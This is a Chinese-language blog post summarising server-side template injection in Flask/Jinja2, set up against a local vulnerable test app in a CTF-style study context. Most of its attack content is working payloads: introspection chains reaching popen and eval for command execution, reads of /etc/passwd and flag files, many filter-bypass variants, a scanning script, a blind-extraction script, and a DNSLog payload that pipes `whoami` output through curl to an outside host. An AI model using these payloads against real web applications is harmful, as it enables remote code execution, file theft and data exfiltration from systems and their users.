模板注入总结
John_Frod Lv4

模板注入总结

介绍

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。


原理

服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。


判断模板类型

通常测试模块类型的方式如下图:

image-20210426105430663


flask模板注入

基础知识

在利用flask模板注入之前我们先需要认识一些Python类的基础知识

常用的内建属性

__class__

用于返回对象所属的类

1
2
3
4
5
6
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
__base__

以字符串的形式返回一个类所继承的类,一般情况下是object

1
2
>>> [].__class__.__base__
<class 'object'>
__bases__

以元组的形式返回一个类所继承的类

1
2
>>> [].__class__.__bases__
(<class 'object'>,)
__mro__

返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class GrandFather():
def __init__(self):
pass


class Father(GrandFather):
pass


class Son(Father):
pass


print(Son.__base__)
print(Son.__bases__)
print(Son.__mro__)

image-20210425212439940

__subclasses__()

得到object类后,就可以用__subclasses__()获取所有的子类:

1
2
>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>,......, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
__dict__

我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass

1
2
3
4
5
6
7
>>> import os
>>> os.system('whoami')
laptop-vke4f570\john
0
>>> os.__dict__['s'+'ystem']('whoami')
laptop-vke4f570\john
0

与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__属性的,如[].__dict__会返回错误

__dict__只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性

可以使用__dict__来间接调用一些属性或方法,如:

1
2
3
4
>>> a=[]
>>> [].__class__.__dict__['append'](a, 'john')
>>> a
['john']
__init__

__init__用于初始化类,作用就是为了得到function/method模型,意思就是拿到一个类之后要使用__init__之后才能调用里面的函数和属性

__global__

会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合__init__使用

如果该关键字被过滤了我们可以使用__getattribute__,以下两者等效

1
2
__init__.__globals__['sys']
__init__.__getattribute__('__global'+'s__')['sys']
__getitem__

如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__

当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

builtins、__builtin__、__builtins__的区别

在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

python2

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

python3

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入。不过__builtins____builtin__builtins是有一点区别的,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
laptop-vke4f570\john
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

过滤器

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。

attr

attr用于获取变量

1
2
3
""|attr("__class__") 
相当于
"".__class__

这个大家应该见的比较多了,常见于点号.被过滤,或者点号.和中括号[]都被过滤的情况。

format

占位符

1
2
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
first last random

常用于数字被过滤后想选择最后一个内容,用处不是很多

1
2
3
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]
join

将传入的内容拼接返回字符串

1
2
3
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
lower

转换为小写

1
""["__CLASS__"|lower]
replace reverse

替换和反转

1
2
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"
string

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

1
2
().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<
select unique

通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。 如果没有指定测试,则每个对象都将被计算为布尔值

1
2
3
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

通过配合上面的string来拼接

1
2
3
4
5
6
7
8
9
10
11
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"
list

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了

1
(()|select|string|list).pop(0)

环境

首先安装flask模组

1
pip3 install flask

在试了几个网上的模板都没用之后发现这个可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request, render_template_string
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')
return render_template_string("Hello %s" % name)

if __name__ == "__main__":
app.debug = True
app.run()

运行之后访问本地的5000端口即可

image-20210425205405258

route装饰器路由

1
@app.route('/')

使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

1
2
3
@app.route('/')
def test():
return 123

访问127.0.0.1:5000/则会输出123,我们修改一下规则

1
2
3
@app.route('/hello')
def test():
return 123

这个时候访问127.0.0.1:5000/test会输出123.

image-20210425210217680

此外还可以设置动态网址,

1
2
3
@app.route("/hello/<username>")
def hello_user(username):
return "user : %s"%username

根据url里的输入,动态辨别身份,此时便可以看到如下页面:

image-20210425205956011

或者可以使用int型,转换器有下面几种:

1
2
3
4
5
6
7
8
int    接受整数
floatint ,但是接受浮点数
path 和默认的相似,但也接受斜线

@app.route('/post/<int:post_id>')
def show_post(post_id):
# show the post with the given id, the id is an integer
return 'Post %d' % post_id

debug模式

测试的时候,我们可以使用debug,方便调试,增加一句

1
2
3
app.debug = True
#或者
app.run(debug=True)

这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

模板渲染

使用render_template()render_template_string()方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。

1
render_template_string("Hello %s" % name)

检测注入

在注入处输入{{7*7}}来测试后端是否会对输入的内容执行

image-20210426103946200

根据返回结果判断是否存在注入漏洞


利用思路

第一步

使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

1
{{"".__class__}}

image-20210425220826467

第二步

拿到object基类

  • __base__拿到基类:
1
{{"".__class__.__base__}}

image-20210425221030683

  • __bases__[0]拿到基类:
1
{{"".__class__.__bases__[0]}}

image-20210425221118994

  • __mro__[1]__mro__[-1]拿到基类:
1
2
{{"".__class__.__mro__[1]}}
{{"".__class__.__mro__[-1]}}

image-20210425221349550

第三步

__subclasses__()拿到子类列表:

1
{{"".__class__.__base__.__subclasses__()}}

image-20210425221500154

第四步

在子类列表中寻找中寻找可以getshell的类。

我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类。

这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子。

1
2
3
4
5
6
7
8
9
search = 'popen'
num = -1
for i in ().__class__.__base__[0].__subclasses__:
num += 1
try:
if search in i.__init__.__globals__.keys():
print(num, i)
except:
pass

image-20210425222340996

可以发现object基类的第133个子类名为os._wrap_close的这个类有popen方法

先调用它的__init__方法进行初始化类,再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值,最后调用popen函数来执行命令

1
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()

image-20210425222543624

但是上面的方法仅限于在本地寻找,实际操作需要脚本通过不断请求访问去找可以利用的类

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import time

search = 'popen'
for i in range(300):
time.sleep(0.1)
payload = "name={{().__class__.__base__.__subclasses__()[%s].__init__.__globals__.keys()}}" % i
url = "http://127.0.0.1:5000/?"
r = requests.get(url + payload)
if search in r.text:
print(r.text)
print(i)
break

image-20210426094757043

脚本发现第133个类存在popen函数

或者用循环打印出所有的类和编号,再搜索能用的类:

1
2
3
4
{%for i in range(300)%}
{{().__class__.__mro__[-1].__subclasses__()[i]}}
{{i}}
{%endfor%}

第五步

利用找到的类

1
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}

image-20210426095140458

这样就可以操作系统命令了。


可以利用的类或函数

config

通常会用{{config}}查询配置信息

image-20210426104040681

env

这个不算类或方法,但是有可能flag会藏在这里

1
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}}

popen

popen()用于执行系统命令,返回一个文件地址,需要用read()来显示文件的内容

1
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

subprocess.Popen

1
{{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

__import__中的os

利用import导入os模块来操作系统命令

1
{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}

__builtins__代码执行

1
2
3
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

request

jinja2中存在对象request

1
2
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}

url_for

1
2
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

get_flashed_messages

1
2
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

lipsum

lipsum是一个方法,可以直接调用os方法,也可以使用__buildins__

1
2
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

绕过

过滤.

[]绕过
1
2
{{().__class__}}
{{()['__class__']}}
attr()绕过
1
2
{{().__class__}}
{{()|attr("__class__")}}

过滤引号

request绕过
  • GET
1
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
  • POST
1
2
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
POST:arg1=open&arg2=/etc/passwd
  • Cookie
1
2
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
chr()绕过

先找出chr()函数的位置

1
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

image-20210426174609410

利用chr()绕过''

1
2
3
4
#原利用payload
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
#用char()代替引号
{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

过滤()

由于执行函数必须要使用小括号,因此过滤小括号后只能查看config配置信息了。

过滤_

十六进制编码绕过

使用十六进制编码绕过,_编码后为\x5f.编码后为\x2E

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

关键字也可以使用十六进制编码

1
2
3
4
5
6
7
8
string1="__class__"
def tohex(string):
result = ""
for i in range(len(string)):
result=result+"\\x"+hex(ord(string[i]))[2:]
print(result)

tohex(string1)
Unicode编码绕过
1
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
base64编码绕过

用于__getattribute__使用实例访问属性时。

例如,过滤掉 __class__ 关键词

1
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

过滤关键字

双写、大小写
拼接字符
  • +拼接
1
2
{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}
  • join拼接
1
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
  • 格式化+管道符
1
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
替代方法
  • 过滤init,可以用__enter____exit__替代

  • 过滤config

1
2
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

过滤[]

索引中的[]

使用pop()__getitem__()代替[]

1
2
3
{{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()}}

{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法中的[]

魔术方法中本来是没有中括号的,但是如果需要使用[]绕过关键字的话,可以用__getattribute__绕过

1
{{"".__getattribute__("__cla"+"ss__").__base__}}

也可以配合requests绕过

1
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
1
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(133).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

过滤{}

DNSLOG外带数据

{%%}替代,使用判断语句进行dns外带数据

1
{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %}
print标记
1
{%print ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

过滤数字

用循环找到能利用的类直接用
1
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}
用lipsum不通过数字直接利用
1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
构造数字进行拼接

首先构造数字

1
2
3
4
5
6
7
8
9
10
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}

然后拼接数字,这里以258为例

1
{% set erwuba=(two~five~eight)|int %}

融合怪

过滤['_', '.', '0-9', '\', ''', '"', '[', ']', '+', 'request']

先确定一个利用的基本payload,越简单越好

1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。

先构造数字:

1
2
3
4
5
6
7
8
9
10
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}

然后查看_在第几个,这里是下标18为下划线

1
2
{% set eighteen=nine+nine %}
{{(lipsum|string|list)|attr(pop)(eighteen)}}

这里问题来了,attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:

1
2
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}

此时就能成功取到_,再用下划线去构造其他的类:

1
2
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

再去构造后面用到的方法:

1
2
3
4
5
6
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

最后就是完整的利用语法:

1
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

合在一起就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

盲注

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://127.0.0.1:5000/?name='

def check(payload):
r = requests.get(url+payload).content
return 'kawhi' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.open("/flag").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
if check(payload):
password += c
break
print password

image-20210426201503227

DNSLog外带数据

1
{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %}

image-20210426201845448


其他payload

1
2
3
4
{{[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])}}?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()

#一句cat flag
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag').read()}}{% endif %}{% endfor %}

参考资料

详解模板注入漏洞(上)

flask之ssti模版注入从零到入门

Python模板注入(SSTI)深入学习

1. SSTI(模板注入)漏洞(入门篇)

SSTI模板注入绕过(进阶篇)

jinja2 SSTI & Bypass

  • Post title:模板注入总结
  • Post author:John_Frod
  • Create time:2021-05-06 16:55:21
  • Post link:https://keep.xpoet.cn/2021/05/06/模板注入总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.